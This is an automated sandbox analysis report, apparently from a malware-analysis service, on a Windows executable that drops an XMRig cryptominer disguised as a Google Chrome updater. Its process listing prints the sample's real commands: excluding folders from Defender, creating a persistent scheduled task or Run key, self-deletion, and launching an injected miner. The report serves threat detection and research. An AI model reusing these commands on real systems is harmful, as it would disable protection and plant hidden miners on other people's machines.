Overview
overview
10Static
static
3QNREJhVYDhHk52cq3.exe
windows7-x64
10QNREJhVYDhHk52cq3.exe
windows10-2004-x64
10RmJBfzgfbWELMdgn.exe
windows7-x64
10RmJBfzgfbWELMdgn.exe
windows10-2004-x64
10TTVw7dDmSpz5mwee.exe
windows7-x64
10TTVw7dDmSpz5mwee.exe
windows10-2004-x64
10qM5GMXBk6h...6).exe
windows7-x64
10qM5GMXBk6h...6).exe
windows10-2004-x64
10qM5GMXBk6h...9).exe
windows7-x64
10qM5GMXBk6h...9).exe
windows10-2004-x64
10qM5GMXBk6h...4).exe
windows7-x64
10qM5GMXBk6h...4).exe
windows10-2004-x64
10qM5GMXBk6h...3).exe
windows7-x64
10qM5GMXBk6h...3).exe
windows10-2004-x64
10qM5GMXBk6h...4).exe
windows7-x64
10qM5GMXBk6h...4).exe
windows10-2004-x64
10qM5GMXBk6h...5).exe
windows7-x64
10qM5GMXBk6h...5).exe
windows10-2004-x64
10qM5GMXBk6h...7).exe
windows7-x64
10qM5GMXBk6h...7).exe
windows10-2004-x64
10qM5GMXBk6h...8).exe
windows7-x64
10qM5GMXBk6h...8).exe
windows10-2004-x64
10qM5GMXBk6h...6).exe
windows7-x64
10qM5GMXBk6h...6).exe
windows10-2004-x64
10Resubmissions
16/01/2024, 20:08
240116-yw2hnahhck 1024/12/2023, 12:16
231224-pfpz9abhcp 1028/08/2023, 15:19
230828-sqmvesca87 1026/08/2023, 15:20
230826-sqz5radd21 1020/08/2023, 00:19
230820-amltvacg48 1020/08/2023, 00:19
230820-amkxjscg46 1020/08/2023, 00:18
230820-al4y2aec9v 1020/08/2023, 00:18
230820-al4m9scg45 1020/08/2023, 00:18
230820-al32qscg44 1020/08/2023, 00:18
230820-al3e7sec9t 10Analysis
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max time kernel
295s -
max time network
1801s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
24/12/2023, 12:16
Static task
static1
Behavioral task
behavioral1
Sample
QNREJhVYDhHk52cq3.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
QNREJhVYDhHk52cq3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
RmJBfzgfbWELMdgn.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
RmJBfzgfbWELMdgn.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
TTVw7dDmSpz5mwee.exe
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
TTVw7dDmSpz5mwee.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
qM5GMXBk6hJE6Y5e (16).exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
qM5GMXBk6hJE6Y5e (16).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
qM5GMXBk6hJE6Y5e (19).exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
qM5GMXBk6hJE6Y5e (19).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral11
Sample
qM5GMXBk6hJE6Y5e (4).exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
qM5GMXBk6hJE6Y5e (4).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
qM5GMXBk6hJE6Y5e(13).exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
qM5GMXBk6hJE6Y5e(13).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
qM5GMXBk6hJE6Y5e(14).exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
qM5GMXBk6hJE6Y5e(14).exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral17
Sample
qM5GMXBk6hJE6Y5e(15).exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
qM5GMXBk6hJE6Y5e(15).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
qM5GMXBk6hJE6Y5e(17).exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
qM5GMXBk6hJE6Y5e(17).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral21
Sample
qM5GMXBk6hJE6Y5e(18).exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
qM5GMXBk6hJE6Y5e(18).exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral23
Sample
qM5GMXBk6hJE6Y5e(6).exe
Resource
win7-20231215-en
General
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Target
qM5GMXBk6hJE6Y5e(18).exe
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Size
2.0MB
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MD5
a16a669a09bf158058b83e04e69fe38e
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SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
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SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
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SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
description pid Process procid_target PID 2336 created 1372 2336 qM5GMXBk6hJE6Y5e(18).exe 15 PID 2336 created 1372 2336 qM5GMXBk6hJE6Y5e(18).exe 15 PID 2336 created 1372 2336 qM5GMXBk6hJE6Y5e(18).exe 15 PID 2336 created 1372 2336 qM5GMXBk6hJE6Y5e(18).exe 15 PID 1724 created 1372 1724 updater.exe 15 PID 1724 created 1372 1724 updater.exe 15 PID 1724 created 1372 1724 updater.exe 15 PID 1724 created 1372 1724 updater.exe 15 PID 1264 created 1372 1264 conhost.exe 15 PID 1724 created 1372 1724 updater.exe 15 -
XMRig Miner payload 31 IoCs
resource yara_rule behavioral21/memory/2308-67-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2308-71-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2308-73-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2308-75-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2308-78-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2308-77-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2308-82-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2308-84-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2308-86-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2308-93-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2308-95-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2308-97-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2308-99-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2308-106-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2308-108-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2308-110-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2308-112-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2308-114-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2308-116-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2308-123-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2308-125-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2308-127-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2308-129-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2308-131-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2308-133-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2308-135-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2308-137-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2308-139-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2308-146-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2308-148-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2308-150-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Deletes itself 1 IoCs
pid Process 2616 cmd.exe -
Executes dropped EXE 1 IoCs
pid Process 1724 updater.exe -
Loads dropped DLL 1 IoCs
pid Process 2004 taskeng.exe -
resource yara_rule behavioral21/memory/2308-67-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2308-71-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2308-73-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2308-75-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2308-78-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2308-77-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2308-82-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2308-84-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2308-86-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2308-93-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2308-95-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2308-97-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2308-99-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2308-106-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2308-108-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2308-110-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2308-112-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2308-114-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2308-116-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2308-123-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2308-125-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2308-127-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2308-129-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2308-131-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2308-133-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2308-135-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2308-137-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2308-139-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2308-146-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2308-148-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2308-150-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in System32 directory 5 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 1724 set thread context of 1264 1724 updater.exe 54 PID 1724 set thread context of 2308 1724 updater.exe 55 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Chrome\updater.exe qM5GMXBk6hJE6Y5e(18).exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1448 schtasks.exe 2464 schtasks.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 1132 WMIC.exe -
Modifies data under HKEY_USERS 3 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 308452677a36da01 powershell.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
pid Process 2336 qM5GMXBk6hJE6Y5e(18).exe 2336 qM5GMXBk6hJE6Y5e(18).exe 2740 powershell.exe 2336 qM5GMXBk6hJE6Y5e(18).exe 2336 qM5GMXBk6hJE6Y5e(18).exe 2884 powershell.exe 2336 qM5GMXBk6hJE6Y5e(18).exe 2336 qM5GMXBk6hJE6Y5e(18).exe 2336 qM5GMXBk6hJE6Y5e(18).exe 2336 qM5GMXBk6hJE6Y5e(18).exe 2676 powershell.exe 1724 updater.exe 1724 updater.exe 2912 powershell.exe 1724 updater.exe 1724 updater.exe 3056 powershell.exe 1724 updater.exe 1724 updater.exe 1724 updater.exe 1724 updater.exe 1264 conhost.exe 1264 conhost.exe 1724 updater.exe 1724 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 468 Process not Found -
Suspicious use of AdjustPrivilegeToken 31 IoCs
description pid Process Token: SeDebugPrivilege 2740 powershell.exe Token: SeDebugPrivilege 2884 powershell.exe Token: SeDebugPrivilege 2676 powershell.exe Token: SeDebugPrivilege 2912 powershell.exe Token: SeDebugPrivilege 3056 powershell.exe Token: SeDebugPrivilege 1724 updater.exe Token: SeAssignPrimaryTokenPrivilege 1132 WMIC.exe Token: SeIncreaseQuotaPrivilege 1132 WMIC.exe Token: SeSecurityPrivilege 1132 WMIC.exe Token: SeTakeOwnershipPrivilege 1132 WMIC.exe Token: SeLoadDriverPrivilege 1132 WMIC.exe Token: SeSystemtimePrivilege 1132 WMIC.exe Token: SeBackupPrivilege 1132 WMIC.exe Token: SeRestorePrivilege 1132 WMIC.exe Token: SeShutdownPrivilege 1132 WMIC.exe Token: SeSystemEnvironmentPrivilege 1132 WMIC.exe Token: SeUndockPrivilege 1132 WMIC.exe Token: SeManageVolumePrivilege 1132 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1132 WMIC.exe Token: SeIncreaseQuotaPrivilege 1132 WMIC.exe Token: SeSecurityPrivilege 1132 WMIC.exe Token: SeTakeOwnershipPrivilege 1132 WMIC.exe Token: SeLoadDriverPrivilege 1132 WMIC.exe Token: SeSystemtimePrivilege 1132 WMIC.exe Token: SeBackupPrivilege 1132 WMIC.exe Token: SeRestorePrivilege 1132 WMIC.exe Token: SeShutdownPrivilege 1132 WMIC.exe Token: SeSystemEnvironmentPrivilege 1132 WMIC.exe Token: SeUndockPrivilege 1132 WMIC.exe Token: SeManageVolumePrivilege 1132 WMIC.exe Token: SeLockMemoryPrivilege 2308 conhost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 2884 wrote to memory of 2464 2884 powershell.exe 32 PID 2884 wrote to memory of 2464 2884 powershell.exe 32 PID 2884 wrote to memory of 2464 2884 powershell.exe 32 PID 2616 wrote to memory of 2688 2616 cmd.exe 34 PID 2616 wrote to memory of 2688 2616 cmd.exe 34 PID 2616 wrote to memory of 2688 2616 cmd.exe 34 PID 2676 wrote to memory of 3024 2676 powershell.exe 36 PID 2676 wrote to memory of 3024 2676 powershell.exe 36 PID 2676 wrote to memory of 3024 2676 powershell.exe 36 PID 2004 wrote to memory of 1724 2004 taskeng.exe 40 PID 2004 wrote to memory of 1724 2004 taskeng.exe 40 PID 2004 wrote to memory of 1724 2004 taskeng.exe 40 PID 3056 wrote to memory of 1448 3056 powershell.exe 47 PID 3056 wrote to memory of 1448 3056 powershell.exe 47 PID 3056 wrote to memory of 1448 3056 powershell.exe 47 PID 1724 wrote to memory of 1264 1724 updater.exe 54 PID 1528 wrote to memory of 1132 1528 cmd.exe 49 PID 1528 wrote to memory of 1132 1528 cmd.exe 49 PID 1528 wrote to memory of 1132 1528 cmd.exe 49 PID 1724 wrote to memory of 2308 1724 updater.exe 55 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1372
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C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e(18).exe"C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e(18).exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:2336
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2740
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2884 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:2464
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e(18).exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2616
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2676
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2912
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3056 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:1448
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:1496
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1528
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:1264
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2308
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C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 31⤵PID:2688
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC1⤵PID:3024
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C:\Windows\system32\taskeng.exetaskeng.exe {621FFAA0-4284-4F9C-8BDA-77FF41927E71} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2004 -
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1724
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1132
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
98KB
MD570234e6a09e2a44c0ee36aae7fe2f0ae
SHA1284c197aa6fea8484d2ab44b0754fb932c978789
SHA2563a174f84b79afe3c036a644ad04b346b4fbad7a6523f55867eba5508ed6dbad6
SHA5121eeae4651c89cad7d9d10053d57034f1c5029feb87c7f29cd94fcf532e6f82cffa516141fa6831c40184bfb41e61bbe59292bcba1e0ad8342224ce06956c4ea4
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Filesize
24KB
MD5491f29c464c2ff744834919b70c77bf1
SHA178a5d2755c5c3ae5a81123d3e879da138184874b
SHA256572f03ddf5f91a0d6de537e4da725d7e3b162d0df1440f6f0c6b669e28b34e2f
SHA5121b5322dd52fc4c8496d0222efa69d869905a6cad6bc975bfc8560595a8ec9c9c828477a7788853c2d0172a884d8abd29173180bb57083a18c671c3b16faeaae6
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Filesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD519e91429ccbd426a3de6865655f95155
SHA16a00da74ed8041d6669396b66c52479aa50b9f99
SHA256a5234ed8cba899858b3e96d5afa7a95ad3546a48437a5e15aa7131ac4928dbbc
SHA512a90a79261c49f88f1c713825e5ae08ef7515884546ecceb41fc1480ff166b54a86c2e644a9c265aec0f314063180bd8ee58ccf562e94df91bf19cf4bff8c68a3
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Filesize
88KB
MD54ea387e5bb8b0af597b06e62648b7484
SHA11175d18316139557e71d5f406e4988df38558fee
SHA2560de4e9ac987b35cd8f5b373406c9daa0462fe66459bb40c206040b99bb0b39fd
SHA5128eb03a2b351eb228ced1a588c1d91b38558b9aedb5460c9aef10a559d9c5b0244f4a6cb0184905b14d2bd00fa7930419183cde32e2e369f5418edddc0ea53fdd